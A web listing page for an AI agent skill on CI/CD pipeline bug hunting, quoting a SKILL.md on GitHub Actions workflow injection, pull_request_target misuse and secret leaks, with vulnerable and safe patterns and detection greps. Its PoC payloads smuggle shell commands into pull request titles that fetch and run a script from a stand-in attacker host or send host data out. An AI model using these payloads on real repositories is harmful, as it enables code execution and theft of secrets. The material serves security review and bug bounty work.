cicd-security
What it does
This skill teaches an agent how to look for security weaknesses in CI/CD pipelines such as GitHub Actions. It explains what to scan for and how to confirm whether a weakness can be used.
When to use it
- βWhen a target has public repositories that run GitHub Actions or other CI pipelines.
- βWhen a security reviewer wants to check whether workflow inputs can run unexpected commands.
- βWhen a reviewer wants to check for unpinned actions or unsafe secret handling in a build pipeline.
Skill link
https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/cicd-security/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCheck this GitHub repo's workflows for script injection and unsafe use of secrets.β
5 new skills a week. 1 minute to read.
How it works
The agent runs a scanner on the repo's workflows, then reviews the workflow files by hand for known risky patterns. It confirms any finding before it is reported.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
CI/CD SECURITY β Pipeline Attack Surface
CI/CD pipelines are high-value targets β a single workflow injection can give you code execution on the build server, read ALL org secrets, and push backdoored releases to production.
0. QUICK KILL CHECKLIST
[ ] Run cicd_scanner.sh <owner/repo> β catch low-hanging workflow lint issues
[ ] Check for script injection: ${{ github.event.*.body/title/name }}
[ ] Find secrets referenced in env: β test if they leak in logs
[ ] Check pull_request_target with checkout of untrusted code
[ ] Look for self-hosted runners on public repos
[ ] Search for OIDC token requests without audience restriction
[ ] Check for unpinned actions (uses: owner/action@main)
[ ] Look for workflow_dispatch with no input validation
[ ] Find artifact downloads without integrity checks
[ ] Search for GITHUB_TOKEN with write permission used insecurely
1. TOOL β cicd_scanner.sh
# Single repo
bash bughunter/tools/cicd_scanner.sh owner/repo
# Org-wide (up to 30 repos)
bash bughunter/tools/cicd_scanner.sh "org:orgname" --limit 50 --parallel 5
# Scan with recursive reusable workflow analysis
bash bughunter/tools/cicd_scanner.sh owner/repo --recursive --depth 5
# Custom output
bash bughunter/tools/cicd_scanner.sh owner/repo --output-dir ./findings/target/cicd
Output: findings/<target>/cicd/scan_results.txt + summary.txt
What sisakulint finds:
- Script injection via untrusted context
- Unpinned actions (tag instead of SHA)
pull_request_targetmisuse- Dangerous patterns (
eval,curl | bash, etc.) - Exposed secret names in
run:blocks
2. WORKFLOW INJECTION (Critical β Most Common Paid Bug)
What It Is
GitHub Actions exposes PR/issue data as context variables. If injected into a run: block without sanitization, an attacker controls shell code.
Vulnerable Pattern
# VULNERABLE β attacker controls pr.title
- name: Print PR title
run: echo "Title: ${{ github.event.pull_request.title }}"
# Attacker PR title: "; curl attacker.com/shell.sh | bash #"
Safe Pattern
# SAFE β pass through env var, never interpolate directly
- name: Print PR title
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Title: $PR_TITLE"
Injectable Contexts (always check these)
github.event.pull_request.title
github.event.pull_request.body
github.event.pull_request.head.ref β branch names
github.event.issue.title
github.event.issue.body
github.event.comment.body
github.event.review.body
github.event.review_comment.body
github.event.discussion.title
github.event.discussion.body
github.head_ref β alias for branch name
github.event.inputs.* β workflow_dispatch inputs
PoC Payload
# PR title / issue title payload:
"; wget -q -O- attacker.com/$(cat /etc/hostname | base64) #
Detection Grep
# Find injectable patterns in .github/workflows/
grep -rn '\${{.*github\.event\.\(pull_request\|issue\|comment\|review\|discussion\)' .github/workflows/
grep -rn '\${{.*github\.head_ref' .github/workflows/
grep -rn '\${{.*github\.event\.inputs' .github/workflows/
3. pull_request_target MISUSE (Critical)
What It Is
pull_request_target runs in the context of the BASE repo (has secrets) but can be tricked into checking out and running attacker code.
Vulnerable Pattern
on: pull_request_target
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }} # β attacker code!
- run: npm test # runs attacker's package.json scripts
Why It's Critical
pull_request_targethas access to secrets- Checkout uses the PR's code
- Any
run:step executes attacker-controlled code with access to all org secrets
Detection
grep -rn 'pull_request_target' .github/workflows/
# Then check if the same job does a checkout of the PR head
grep -A 20 'pull_request_target' .github/workflows/*.yml | grep -E '(head\.sha|head_ref|checkout)'
4. SECRET EXFILTRATION
Secrets That Appear in Logs
# Search for secrets echoed in run: blocks
grep -rn 'echo.*secrets\.' .github/workflows/
grep -rn 'cat.*secrets\.' .github/workflows/
grep -rn 'env.*secrets\.' .github/workflows/ | grep -v '^#'
GITHUB_TOKEN Abuse
The auto-generated GITHUB_TOKEN can be used to:
- Push code to branches
- Create re
FAQ
Which CI systems does it name?
It names GitHub Actions, CircleCI, Jenkins, and GitLab CI.
What is script injection here?
It is when untrusted text, such as a pull request title, is placed into a workflow command.
Does it chain findings together?
Yes. The skill covers chaining several CI/CD weaknesses into one higher-impact finding.
Details
Original description by the author
CI/CD pipeline security hunting β GitHub Actions workflow injection, secret exfiltration, self-hosted runner poisoning, dependency confusion, OIDC token theft, and supply chain attacks. Covers sisakulint scanning, manual workflow analysis, and chaining CI/CD bugs into critical findings. Use when a target has public repos, GitHub Actions, CircleCI, Jenkins, or GitLab CI.
Popularity
- GitHub stars
- 5.5k
- Ranking position
- #14785
- License
- MIT
- Updated
- 10/28/2026
Comments
- β¦
More skills from this repository
bug-bounty
5.5kHelps your agent plan a bug bounty review in stages, from checking the program scope and mapping assets to testing leads, validating impact, and writing a report.
agentic-app-audit
5.5kHelps your agent review a live AI assistant from the outside for risks such as hijacked tool calls, poisoned memory, and actions taken with more access than the user has.
argus
5.5kHelps your agent run six automated scanners for common web and AI app flaws, such as open cross-origin access, JWT weaknesses, and blind bugs confirmed out-of-band.
bb-methodology
5.5kHelps your agent plan a bug bounty session in stages, choosing the next step and the right checks, and dropping ideas that cannot cause real harm.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.